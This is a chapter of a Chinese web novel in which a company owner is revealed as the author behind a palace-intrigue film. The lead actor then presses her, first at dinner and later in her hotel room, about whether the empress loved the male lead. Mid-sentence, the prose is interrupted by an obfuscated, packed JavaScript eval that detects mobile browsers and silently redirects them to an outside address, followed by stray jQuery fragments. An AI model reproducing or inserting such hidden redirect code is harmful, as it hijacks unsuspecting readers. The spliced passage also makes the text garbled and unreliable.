宋导此话一出在座的几个人都有点没反应过来，只有陆虞渊低头品茶，面上看不出一点惊讶的样子。


    张涟看了看大家伙，然后解释道：“其实《晟燕齐》的故事本来就是槐宁写的，我充其量就是把它变成了剧本而已。”


    芮槐宁摇了摇头：“别‘充其量’了张老师，没有您这个剧本根本都不会存在。”


    “你就是想躲懒。”张涟开起了玩笑，“两场剧本围读都给你躲过去了，而且现在老宋时不时就让我来一趟剧组给大家答疑解惑，你倒是好，躲在燕京喝茶睡觉逛公园是吧？”


    “那倒也没有，我哪有那么懒啊……”芮槐宁小声地反驳。


    “那就好好地认领你编剧的身份呀！”张涟趁机道，“等以后上映了跟着剧组跑宣传去，也让我歇两天的。”


    关于让她在编剧位置署名这件事张涟提了很多次，不过确实不是芮槐宁傲娇，而是她觉得自己严格来讲算不上创作者，只是把真实发生过的事情写下来了而已。


    结果宋盏也来帮腔：“编剧有时候也是挨骂位，你人年轻，比小张扛骂，我觉得还是把你名字加上去的好，有流弹你还能给我们大家伙挡一挡……”


    这边三个人还在拉扯，同桌的其他几位已经彻底傻眼了。不是，芮槐宁一个日理万机日进斗金的经纪公司老总怎么还有写故事这个技能的啊？


    执行导演跟制片主任交换了一个震惊的眼神，关键还不在于编故事，而是在于这个故事甫一转换成剧本就是超S+的古装权谋电影，能有这种成就的作者可以说是凤毛麟角了吧？


    姜姚从刚才起就一直盯着芮槐宁看，不知道心里在想些什么。


    而郑导则激动地戳了戳旁边的摄像大哥小声问道：“拍下来了吗？”


    摄像大哥也激动地点了点头并小声回答：“都拍到了导演！”


    一时间桌边众人神色各异，只有陆虞渊淡定且从容地又给自己续了一杯清茶。


    那头三人终于拉扯完毕，最后以芮槐宁放弃挣扎为结局：“那我的名字要跟在张老师后面，否则就免谈了哦。”


    张涟也退了一步同意不再纠结位次问题。


    就在晚餐似乎已经圆满结束的此时此刻，陆虞渊却停下了品茶的动作：


    “所以，芮老师可以帮忙解惑了吗？我刚才的问题你好像还没有回答。”


    此言一出众人都看向了芮槐宁，大家其实也挺想知道答案的。


    “不要回答‘一千个观众心里有一千个哈姆雷特’可以吗？我想知道的是你心里的想法。”


    陆虞渊这么一说完，芮槐宁刚刚张开的嘴巴又合上了。


    母皇对父亲有感情吗？她也不知道。


    正因为不知道，所以芮槐宁下笔的时候从没有写过明确的“是”与“否”，她只是把自己能够记得的事件都忠实地还原出来，同时省去了所有关于二人情感的主观判断。


    不过……


    “这种问题本来就可以有不同的理解，你又为什么那么想知道我的想法呢？我怎么想的重要吗？”她选择化被动为主动，把问题抛了回去。


    但陆虞渊却很干脆地回答了两个字：“重要。”


    至于为什么重要，他没说。


    再问一遍“那你为什么想知道”好像又显得不够聪明，芮槐宁思考了一瞬，然后发现自己似乎有点被他的回答噎住了。


    她陷入了沉默，而陆虞渊就一直这样看着她的眼睛，耐心极好地等待着她的回答，并不催促，但也绝没有想放弃的意思。


    最后芮槐宁被看得没办法，只能轻轻地叹了一口气：“我不知道。”


    接着她又把这句实话包装了一二：


    “我相信我笔下的人物都是有生命的，从出场的那一刻起他们就不受我的控制了，我只负责把人物经历的所有事件告诉观众，但我解释不了人物的每一个想法。”


    这种文艺又玄幻的说法如果在普通人眼里可能会被认为有点神经，但放在作者圈里就刚刚好，甚至很容易便能找到共鸣，比如张涟，她已经在旁边微微颔首表示理解了。


    其他几位虽然没有被这么多文艺细菌感染，但既然张涟都点头了，他们自然也没有不认同的道理，于是纷纷表示“皇帝身上确实穿了衣服，我也看到了”。


    唯有陆虞渊依旧不置可否，他只深深地看了芮槐宁一眼，最后什么也没说。


    聚餐结束后众人去往酒店各自回房，芮槐宁本以为今天就到此为止了，没想到等她刚洗完澡出来门铃就响了。


    大晚上的谁知道外面是什么人？芮槐宁带着警惕心走到了门口，然后高声问道：“谁呀？”


    “是我，陆虞渊。”一个熟悉的声音清晰地传来，应得是光明正大、字正腔圆，生怕其他人听不到似的。


    门背后的芮槐宁顿了一下。


    如果没有今天片场搭戏的小插曲她其实也不会多想什么，但此时此刻她却犹豫了，面前普普通通的一扇门仿佛变成了潘多拉的盒子，一旦打开没准就会放出什么可怕的真相。


    “你睡了吗？”


    陆虞渊竟然还提高了音量，芮槐宁做贼心虚当下也顾不上再考虑，只得一边扶额一边打开了门，先是迅速地左右看了看，确定没人以后才将他一把拉进了房间。


    “你叫那么大声干什么？”想让剧组里所有人都知道堂堂男一号大晚上不睡觉却来敲我的门吗？


    陆虞渊却耸了耸肩一副无所谓的样子：“又不是要做什么见不得人的事。”


    ……无法反驳。


    芮槐宁最后边转身往里走边默默地想：或许他今天在片场的那个眼神真的只是演技大爆发而已吧。


    她自顾自地往沙发里一坐，然后伸手一指冰箱，意思是那里面有水自己拿。


    陆虞渊听话地给自己拿了罐黑加仑果汁，坐下以后又朝芮槐宁递过去一瓶杏仁露，甚至还帮她拧好了瓶盖。


    巧了，杏仁露正好是冰箱里那一堆饮料当中她最喜欢的。


    芮槐宁有点意外地看了他一眼，接过瓶子时脸色稍微好了那么一丢丢。


    陆虞渊边打开易拉罐边道：“晚餐的时候你说不知道晟燕齐对焉鸿渐有没有感情，那现在呢？”


    “还是一样啊。”她之前说“不知道”又不是假话。


    “不过你到底为什么这么执着于这个问题？”芮槐宁扭过脸看向他，“作为男一号你不是应该更关心焉鸿渐对晟燕齐有没有感情吗？”


    站在原作者的角度她理所当然地认为他只用知道自己需要怎么演就好了呀，干嘛要替别的角色操心呢？


    可陆虞渊却很笃定地道：“这个不用问，男主对女主肯定是有感情的。”


    ？芮槐宁自己都不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723822|176754||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    敢这么确信：“为什么？”


    “……”陆虞渊先是沉默，然后又道，“不然他为什么终生不娶？后宅里既没有别的女人也没有子嗣？”


    芮槐宁转了转眼珠子：“因为他害怕被皇帝陛下五马分尸？因为他想用忠贞给自己谋一个好前程？”


    陆虞渊有些欲言又止：“……这是权谋小说作者特有的思维模式吗？”


    芮槐宁心想：不，这是混迹朝堂必备的政治素养。


    “晟燕齐又不是那种小肚鸡肠的皇帝，只要能力足够强就能得到她的提拔，何必用自己的终生幸福去换呢？”陆虞渊又道。


    芮槐宁思考了片刻，他这么说好像也不是没有道理……


    “那你就这么理解吧，我同意了。”


    陆虞渊点点头，然后再次看向她：“所以晟燕齐到底喜不喜欢焉鸿渐？”


    他对这个问题的分外在意终于让芮槐宁察觉到了一丝不对劲，她开始仔细观察他的表情：“你先告诉我你为什么那么想从我这里得到这个答案。”


    也许是她的目光太有穿透力，陆虞渊反而有点不自在了，他轻咳了一声，然后微微别过脸去：


    “鸿渐，出自《易经》，‘鸿渐于陆，其羽可用为仪。’”


    ？就这？芮槐宁一脸困惑。


    陆虞渊顿了顿又道：“……你的公司名字叫其羽。”


    ？


    “所以呢？”


    此“其羽”非彼“其羽”，芮槐宁当初的灵感其实是取自那句“凤凰于飞，翙翙其羽”来着。


    陆虞渊有点说不下去了，他不知道芮槐宁是真不懂还是在装傻，焉鸿渐的名字跟“其羽”这两个字出自同一句话，证明这个男性角色在她心中一定很重要。


    她让自己演了男一号，而偏偏女一号又是一个这么……


    “你不觉得你有点像晟燕齐吗？”陆虞渊发誓这是他人生中最拐弯抹角的一天。


    这话芮槐宁爱听：“是吗？可能有一点吧。”开玩笑，那可是她的母皇！母女相像那不是很正常吗？


    连芮槐宁自己都没注意到她说这句话的时候嘴角是微微上扬的，陆虞渊也看得忍不住笑了笑，然后又更加认真地望向了她。


    一个是她重视的男性角色，一个是像她本人的女性角色……晟燕齐唯一的孩子是焉鸿渐的，那么她的心呢？


    芮槐宁当然不可能知道她身边这家伙做了一个多么离谱的阅读理解，她只是被陆虞渊认真的眼神震惊到了，同时也敏感地意识到这个问题或许不能随便给出答案。


    母皇一生有过许许多多的面首，至于为什么挑中焉鸿渐生孩子，也许是因为他长得帅，也许是因为他人聪明，但要说是因为爱，芮槐宁觉得不太可信。


    以她对母亲的了解，她在意的多半只是优良的遗传基因罢了。


    “我只能说，皇帝在皇太女出生后刻意隐瞒了焉鸿渐作为生父的身份，甚至连皇太女本人都是成年后才被告知了真相，且皇帝还特地叮嘱女儿不可向任何人透露。”


    芮槐宁话说得委婉，但意思已经很明显了。


    但是陆虞渊却摇了摇头：“如果皇帝是担心外戚干政，她大可以留女去父，这样大费周章地隐瞒对焉鸿渐来说何尝不是一种保护呢？”


    芮槐宁听罢只觉得大为震撼。


    不是，你这么恋爱脑的吗？